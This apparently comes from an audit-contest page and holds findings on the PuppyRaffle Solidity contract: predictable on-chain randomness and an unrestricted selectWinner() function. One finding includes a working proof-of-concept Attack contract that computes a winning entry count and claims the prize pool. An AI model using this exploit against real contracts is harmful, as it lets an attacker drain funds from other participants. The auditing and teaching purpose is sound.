Scope: src/PuppyRaffle.sol
The selectWinner() function has no access control, allowing anyone to call it. Combined with the weak randomness that includes msg.sender, this lets attackers choose exactly when and from which address to call, maximizing their chances of winning.
Normal behavior: Winner selection should be fair and not advantageable by any single party.
The issue: Since msg.sender is part of the randomness calculation and anyone can call selectWinner(), an attacker can compute the winning outcome for many different addresses and call from the address that results in their entry winning.
Likelihood:
Every raffle can be exploited this way
Attack requires only computation (no cost beyond gas)
Attacker enters with multiple addresses to guarantee one can be made to win
Impact:
Attacker wins every raffle they target
80% of raffle funds stolen repeatedly
Legitimate players have zero chance of winning
Protocol becomes worthless
Explanation: The attacker enters with 2 addresses (attacker1 and attacker2) among 4 total players. Before calling selectWinner(), they compute which caller address will make one of their entries win. By calling from that specific address, they guarantee their entry wins and receive the prize pool.
Explanation: Either restrict who can call selectWinner() to a trusted party, or use true randomness that cannot be influenced by the caller (Chainlink VRF).
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.